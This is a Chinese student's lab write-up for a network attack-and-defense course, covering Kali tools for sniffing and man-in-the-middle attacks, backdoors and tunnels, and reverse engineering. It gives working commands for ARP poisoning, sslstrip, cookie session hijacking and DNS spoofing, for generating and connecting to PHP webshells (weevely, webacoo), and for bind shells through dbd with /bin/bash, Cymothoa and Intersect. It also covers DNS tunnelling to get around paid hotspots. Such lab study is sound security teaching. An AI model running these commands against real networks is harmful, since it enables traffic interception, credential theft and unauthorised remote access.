2017-2018-2 20179207 《网络攻防技术》第八周作业

kali视频(32-35)

嗅探欺骗与中间人攻击

1.为Kali设置开启端口转发

echo 1 > /proc/sys/net/ipv4/ip_forward

2.将所有的80请求转发到8081上

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081

让sslrtip在8081端口监听

sslstrip -l 8081

2017-2018-2 20179207 《网络攻防技术》第八周作业_第1张图片

3.ettercap

ettercap是一套用于中间人攻击的工具。

首先要将ec_uid、ec_gid都变为0

vim /etc/ettercap/etter.conf

2017-2018-2 20179207 《网络攻防技术》第八周作业_第2张图片

然后找到linux分类下的if you use iptables的下面两行,将注释去掉,从而允许iptables转发。

2017-2018-2 20179207 《网络攻防技术》第八周作业_第3张图片

打开图形化界面, 选择嗅探网卡(默认eth0)。

ettercap -G

2017-2018-2 20179207 《网络攻防技术》第八周作业_第4张图片

4.Ettercap使用

Hosts -> Scan for hosts找到网络上的主机,扫描完成后点击 Hosts List,显示发现的所有主机。

2017-2018-2 20179207 《网络攻防技术》第八周作业_第5张图片
2017-2018-2 20179207 《网络攻防技术》第八周作业_第6张图片

选择窗口中要作为攻击目标的IP地址(192.168.11.74),然后点击窗口底部的 Add to Target 1,然后把网关(192.168.11.1)安排到Target 2。选择 Mitm —> Arp poisoning —> Sniff remote connections。

目标主机上使用命令arp -a查看ARP地址表

选择 Start —> Start sniffing 开始监听,这时目标主机的所有流量都是通过攻击者的主机出去的。当处于同一个局域网的受害者访问网页进行登陆时,密码就可以被记录下来。

5.Dsniff套装介绍

Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。
`

-c:打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作
-d:启动调试模式
-f:以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型)
-I:使用特定的网络接口
-m:使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议
-n:不执行主机查找
-r:从前面保存的会话中读取被嗅探的数据
-s:最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中
-t:使用格式port/proto=servise;来加载一个以逗号界定的触发器集;

6.会话劫持

这里主要以cookies进行举例,说明会话劫持的用法。

arpspoof -i wlan0 -t 192.168.11.1 192.168.11.55
捕获数据报:
tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
forret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt。接下来运行hamster,hamster会提示浏览器设置代理为http://127.0.0.1:1234,接着在浏览器中代开hamster:http://hamster选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。

7.图片截获

利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先依然使用arpspoof启动arp欺骗,然后启动driftnet:
driftent -i
此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。

8.DNS欺骗

利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。
在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)
host文件:127.0.0.1 www.baidu.com
上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。
然后启动dnsspoof:dnsspoof -i wlan0 -f /root/hosts
等受害者访问百度观察效果。

9.URL监控

利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]

10.下载软件监控

利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]

权限维持(后门、Tunnel)

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。

1.WEB后门

++(1)Weevely++

Weevely是一款使用python编写的webshell工具

weevely generate test ~/test1.php

生成一个名字为test1.php,密码为test的后门。

2017-2018-2 20179207 《网络攻防技术》第八周作业_第7张图片

将test1.php拷贝到靶机192.168.11.74 /var/www/路径下,即将后门上传到web。

2017-2018-2 20179207 《网络攻防技术》第八周作业_第8张图片
2017-2018-2 20179207 《网络攻防技术》第八周作业_第9张图片

输入命令weevely http://192.168.11.74/test1.php test,用weevely连接后门(连接后为设置的密码),即可获得一个webshell,然后就可以随意使用终端了。

如何拷贝到靶机上?

攻击机

nc -l -p 20000 < test1.txt

靶机

nc -n 192.168.11.55 20000 > test1.txt

(2)++WeBaCoo++

webacoo -g -o wbc.php

将test2.php文件拷贝到靶机192.168.11.74的 Web 根目录(/var/www/)下,输入命令webacoo -t -u http://192.168.11.74/test2.php

2、系统后门

(1)Cymothoa系统后门

Cymothoa是一款可以将 shellcode 注入到现有进程的后门工具。它所注入的后门程序应当能够与被注入的进程共存,获取和原进程相同的权限。由于其不创建新的进程,把shellcode伪装成了常规程序,所以不容易被发现。

cymothoa -p 1985 -s -0 -y 2333
-p:指定目标进程的PID,可以使用ps aux查看进程PID,
-s:指定Shellcode的编号,使用cymothoa -S查看
-y:代表注入的端口号

上述命令如果成功,可以连接2333端口返回一个后门shell。

(2)Dbd

Dbd 可以理解为加密版的 Netcat(或者叫 nc),仅仅只支持 TCP/IP 连接。Sbd与Dbd非常相似,也是 Netcat 的克隆,使用 AES-CBC-128 和 HMAC-SHA1 加密。

我们开启两个终端,一个模拟监听端,另一个模拟攻击端主动连接端口:

监听端:dbd -l -p 2333 -e /bin/bash -k password
攻击端:dbd 127.0.0.1 2333 -k password

连接成功后看到没有任何反应,但这时你已可以执行命令了。

(3)U3-Pwn
与Metasploit Payload结合使用的工具,菜单可以单刀多针对移动光驱设备如光驱镜像,u盘等。

(4)Intersect

输入2列出可以使用的模块

输入1创建后门脚本,自由添加功能组件(输入需要的模块名即可加入该模块,这里我们以bshell模块为例)后,:creat生成一个shell。接下来设置Intersect脚本名、temp directory(临时文件地址)、enable logging、bind port、remote host)、remote port)、proxy port 、xor cipher key。这样会在/usr/share/intersect/Scripts/路径下生成shell.py。

将shell.py拷贝到当前目录,终端模拟目标主机执行./shell.py -b,生成一个bind shell后门。再打开一终端模拟攻击者执行nc -nvv 127.0.0.1 5555,得到一个很完美的shell。

3.Tunnel工具集

Tunnel工具集包含了一系列用于建立通信隧道、代理的工具:

1、CryptCat

Cryptcat是Netcat的加密版本,与Dbd、Sbd使用类似。Cryptcat支持TCP、UDP两种网络协议,它可以在两个计算机之间建立指定的连接,并使用特定的密钥对传输数据进行加密。为了提高加密,该工具允许用户在每次连接使用自定义的密钥,从而保证数据的安全性。

2、DNS2TCP

在酒店等公共场所,通常有wifi信号,但当访问第一个网站时,可能会弹出窗口,需要输入用户名密码,登陆后才可以继续上网。该技术一般为透明http代理,如果你没有账号就无法上网。但提供热点的ISP对热点的DNS查询服务并不作限制,你会发现获取到的dns地址是有效的,并且可以进行dns查询,这时可以使用DNS tunnel技术来实现免费上网。DNS tunnel 即 DNS 通道,就是利用DNS查询过程建立起隧道以传输数据。

dns2tcp 是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发。它分为两个部分,服务端和客户端,编译完成后在服务端上的可执行文件名称为dns2tcpd,在客户端上的名称为dns2tcpc。DNS tunnel实现的工具除了dns2tcp外,还有OzymanDNS、tcp-over-dns、heyoks、iodine。

4、Miredo

Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道转换,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。

5、Proxychains

Proxychains 是内网渗透测试经常会用到一款代理工具,能够强制使任何应用的TCP连接使用SOCKS4,SOCKS或者HTTP(S)代理进行连接。

ProxyChains 的配置文件位于/etc/proxychains.conf ,打开配置文件后在末尾添加代理IP和端口,可以任意添加代理,一行一个记录。如我们使用Meterpreter开设一个Socks4a代理服务,通过修改为socks4 127.0.0.1 8080加入代理,即可使其他工具如sqlmap、namp直接使用代理扫描内网。使用方式非常简单,直接在应用程序前加上 proxychains 即可,如proxychain namp -sT -Pn 10.0.0.1/24。因为 proxychains 只会代理 TCP 连接,而 ping 使用的是 ICMP,所以必须使用-Pn。

6、Proxytunnel

Proxytunnel可以通过标准的Https代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行Http(s)传输。Prosytunnel可用于:

  • 使用http(s)代理(http connect 命令)创建通讯通道
  • 为OpwnSSH写一个客户端驱动,并创建基于SSH连接的http(s)代理
  • 作为一个独立的应用,可以连接到远程服务器

7、Ptunnel

在一些网络环境中,如果不经过认证,TCP和UDP数据包都会被拦截。但只要你能ping通远程计算机,就能通过这个ping发出的ICMP包建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限的网络访问。Ptunnel借助ICMP数据包建立隧道通信,用户需要在受限制网络外,预先启动Ptunnel建立代理服务器。再以客户端模式运行Ptunnel,就可以建立ICMP隧道。

8.pwnat

pwnat是一个NAT穿透工具,它可以使两台均在NAT或防火墙后的机器,不需要任何第三方服务器,不需要端口转发就能进行通信。该工具首先在公网计算机上建立一个服务端。然后,处于NAT后的其他计算机以客户端模式运行,通过连接服务端,就可以互相访问了。

9、sslh

sslh是一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受https,ssh和open连接。这使得通过443端口连接ssh服务器或者open服务器同时在该端口上提供https服务成为可能。sslh可以作为一个研究端口复用的例子。

逆向工程工具

1、Edb-Debugger

EDB(Evan's Debugger)是一个基于Qt4开发的二进制调试工具,主要是为了跟OllyDbg工具看齐,通过插件体系可以进行功能的扩充,当前只支持Linux。

你可以将文件直接拖进来,或使用顶部的下拉菜单的File菜单,然后选择open,将可执行文件加载到Edb-Debugger中进行调试。

2、Ollydbgs是经典的Ring3级调试器,是一个动态调试工具,将IDA与SoftICE结合起来的思想。在Kali下是Wine方式运行的Ollydbg。

3、jad是一个Java反编译工具

4、Radare2 是一款开放源代码的逆向工程平台,它可以反汇编、调试、分析和操作二进制文件。

6、APKTool是GOOGLE提供的APK编译工具,能够反编译及回编译apk,同时安装反编译系统apk所需要的framework-res框架,清理上次反编译文件夹等功能。

7、Clang、Clang++

Clang是一个C语言、C++、Objective-C、Objective-C++语言的轻量级编译器。Clang++是clang的另一个升级版本,使用方法其实都是一样的。clang类似于gcc编译器,clang++类似于gc++编译器。
8、D2j-des2jar反汇编dex文件到jar文件。进而可以使用其他工具查看源代码。

9、Flasm

主要功能是用于直接修改swf文件里的脚本actionscript。
swf转fla文件的软件不能确保100%还原,如果只是修改as脚本代码,flasm是最佳的选择,因为他只修改脚本,资源数据不做修改。

(10)Javasnoop

一个java应用程序安全测试工具,允许你以拦截的方法,篡改数据和hack运行在你计算机上的java应用程序。通常在没有源代码的情况下,测试java客户端的安全性最好的结果是不可预知的,最坏的结果是不切实际的。

2017-2018-2 20179207 《网络攻防技术》第八周作业_第10张图片

转载于:https://www.cnblogs.com/huihui0708/p/8963110.html

你可能感兴趣的:(2017-2018-2 20179207 《网络攻防技术》第八周作业)